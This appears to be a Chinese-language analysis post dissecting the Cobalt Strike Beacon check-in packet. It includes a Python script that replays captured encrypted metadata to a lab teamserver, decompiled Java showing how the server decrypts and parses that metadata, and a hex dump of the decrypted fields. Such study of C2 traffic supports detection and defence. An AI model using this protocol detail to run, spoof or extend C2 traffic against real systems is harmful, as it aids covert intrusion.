CobaltStrike Beacon上线包解析
beacon上线包
为了方便动态调试,将上线数据进行重放
import requests
url = "http://192.168.110.37/pixel"
headers = {
"User-Agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)",
"Accept": "*/*",
"cookie": "GUUepev9QEIeOLbFgW+Dd7p4k7pR/7I53SDWbSmt0BRBhjritflam/uKtShebvFUZHL136LZcWtAv4haCuZkRB/q7/fK1T2SP3SlAPFs0yfMJ2n1seUw3OcKGcpVelMpL8XEw6FM6LuyYOG7cbIHNGn9dDmq8RDSjZd/YqAHqkY="
#"cookie": "Fo9SvaBbe7k25AKjov9rE0eP9EaILCM9Kc7X4cqG3rJVDqLJyqjTkwCnfGYM/0nUaRLtLN2MFuQmFm+6oLDS6/HsXQyJmhefb0EnW7T2qcPyR262ZdKLO9BO63Db2pFmvhpib4xEXoMZ+8YI0mB3ze3qPjXVdSjAI3q0Yt43h+U="
}
r = requests.get(url, headers=headers)
print(r.text)
print(r.status_code)
在接收到上线包时,会在beacon/BeanHTTP.java文件中进行解析
public byte[] serve(String var1, String var2, Properties var3, Properties var4) {
String var5 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3);
//根据配置文件metadata处理加密数据(配置中为base64,var6中得到解码的数据)
String var6 = BeaconHTTP.this.c2profile.recover(".http-get.client.metadata", var3, var4, BeaconHTTP.this.getPostedData(var4), var1);
if (var6.length() != 0 && var6.length() == 128) {
BeaconEntry var7 = BeaconHTTP.this.controller.process_beacon_metadata(BeaconHTTP.this.listener, var5, CommonUtils.toBytes(var6), (String)null, 0);
if (var7 == null) {
MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
return new byte[0];
} else {
byte[] var8 = BeaconHTTP.this.controller.dump(var7.getId(), 921600, 1048576);
if (var8.length > 0) {
byte[] var9 = BeaconHTTP.this.controller.getSymmetricCrypto().encrypt(var7.getId(), var8);
return var9;
} else {
return new byte[0];
}
}
} else {
CommonUtils.print_error("Invalid session id");
MudgeSanity.debugRequest(".http-get.client.metadata", var3, var4, "", var1, var5);
return new byte[0];
}
}
dns/AsymmetricCrypto.class代码如下
public byte[] decrypt(byte[] var1) {
byte[] var2 = new byte[0];
try {
//RSA解密数据
synchronized(this.cipher) {
this.cipher.init(2, this.privatekey);
var2 = this.cipher.doFinal(var1);
}
//校验数据
DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));
int var4 = var3.readInt();
if (var4 != 48879) {//校验魔术头
System.err.println("Magic number failed :( [RSA decrypt]");
return new byte[0];
} else {
int var5 = var3.readInt();
if (var5 > 117) {//校验数据长度
System.err.println("Length field check failed :( [RSA decrypt]");
return new byte[0];
} else {
byte[] var6 = new byte[var5];
var3.readFully(var6, 0, var5);
return var6;
}
}
} catch (Exception var8) {
MudgeSanity.logException("RSA decrypt", var8, false);
return new byte[0];
}
}
decrypt函数功能为RSA解密,校验魔术头和数据长度。
RSA解密后的数据格式如下
00000000: 00 00 BE EF 00 00 00 54 6D E2 6D AD B3 E2 7F 90 .......Tm.m.....
00000010: 8B FD 5F 80 FD AC 29 23 A8 03 A8 03 2A 9E BD F6 .._...)#....*...
00000020: 00 00 0E 4C 00 00 0C 06 01 1D B1 00 00 00 00 75 ...L...........u
00000030: AB 12 45 75 AB 12 22 80 06 A8 C0 57 49 4E 2D 44 ..Eu.."....WIN-D
00000040: 30 43 39 46 4F 54 4A 31 4D 30 09 30 78 31 37 09 0C9FOTJ1M0.0x17.
00000050: 61 72 74 69 66 61 63 74 2E 65 78 65 artifact.exe
beacon/BeaconC2.java的process_beacon_metadata函数
public BeaconEntry process_beacon_metadata(ScListener var1, String var2, byte[] var3, String var4, int var5) {
//获取解密后的数据(去魔术头和长度)
byte[] var6 = this.getAsymmetricCrypto().decrypt(var3);
if (var6 != null && var6.length != 0) {
String var7 = CommonUtils.bString(var6);
//beacon生成的16位随机key,用于计算后续下发任务使用的AESKEY和HASHMac
String var8 = var7.substring(0, 16);
//编码类型
String var9 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(16, 18)));
String var10 = WindowsCharsets.getName(CommonUtils.toShort(var7.substring(18, 20)));
//回连的监听器
String var11 = "";
BeaconEntry var12;
if (var1 != null) {
var11 = var1.getName();
} else if (var4 != null) {
var12 = this.getCheckinListener().resolveEgress(var4);
if (var12 != null) {
var11 = var12.getListenerName();
}
}
//BeaconEntry函数解析后续的数据
var12 = new BeaconEntry(var6, var9, var2, var11);
if (!var12.sane()) {
CommonUtils.print_error("Session " + var12 + " metadata validation failed. Dropping");
return null;
} else {
this.getCharsets().register(var12.getId(), var9, var10);
if (var4 != null) {
var12.link(var4, var5);
}
this.getSymmetricCrypto().registerKey(var12.getId(), CommonUtils.toBytes(var8));
if (this.getCheckinListener() != null) {
this.getCheckinListener().checkin(var1, var12);
} else {
CommonUtils.print_stat("Checkin listener was NULL (this is good!)");
}
return var12;
}
} else {
CommonUtils.print_error("decrypt of metadata failed");
return null;
}
}
common/BeaconEntry.java的BeaconEntry函数解析后续数据
public BeaconEntry(byte[] var1, String var2, String var3, String var4) {
boolean var5;
try {
DataParser var6 = new DataParser(var1);
var6.big();
var6.consume(20);
//beaconID 4字节
this.id = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));
//beacon进程PID 4字节
this.pid = Long.toString(CommonUtils.toUnsignedInt(var6.readInt()));
//端口 2字节
this.port = Integer.toString(CommonUtils.toUnsignedShort(var6.readShort()));
//第31位,标志,判断进程是32位还是64位,系统是否为64位
byte var7 = var6.readByte();
if (CommonUtils.Flag(var7, 1)) {
this.barch = "";
this.pid = "";
this.is64 = "";
} else if (CommonUtils.Flag(var7, 2)) {
this.barch = "x64";
} else {
this.barch = "x86";
}
this.is64 = CommonUtils.Flag(var7, 4) ? "1" : "0";
var5 = CommonUtils.Flag(var7, 8);
//获取系统版本号 第32和33位
byte var8 = var6.readByte(); //大版本号
byte var9 = var6.readByte(); //小版本号
this.ver = var8 + "." + var9;
//系统构建号 2字节 35
this.build = var6.readShort();
//gmh_gpa 4字节 39
byte[] var10 = var6.readBytes(4);
//gmh函数地址 4字节 43
this.ptr_gmh = var6.readBytes(4);
//gpa函数地址 4字节 47
this.ptr_gpa = var6.readBytes(4);
if ("x64".equals(this.barch)) {
this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh);
this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa);
}
this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh);
this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa);
var6.little();
//beacon IP 4字节 51 前51字节固定
this.intz = AddressList.toIP(CommonUtils.toUnsignedInt(var6.readInt()));
var6.big();
if ("0.0.0.0".equals(this.intz)) {
this.intz = "unknown";
}
} catch (IOException var11) {
MudgeSanity.logException("Could not parse metadata!", var11, false);
this.sane = false;
return;
}
//剩下的数据为计算机名,用户名和beacon进程名
String var12 = CommonUtils.bString(Arrays.copyOfRange(var1, 51, var1.length), var2);
String[] var13 = var12.split("\t");
if (var13.length > 0) {
this.comp = var13[0];
}
if (var13.length > 1) {
this.user = var13[1];
}
if (var13.length > 2) {
if (this.isSSH()) {
this.ver = var13[2];
} else {
this.proc = var13[2];
}
}
if (var5) {
this.user = this.user + " *";
}
this.ext = var3;
this.chst = var2;
this.lname = var4;
this.sane = this.sanity();
}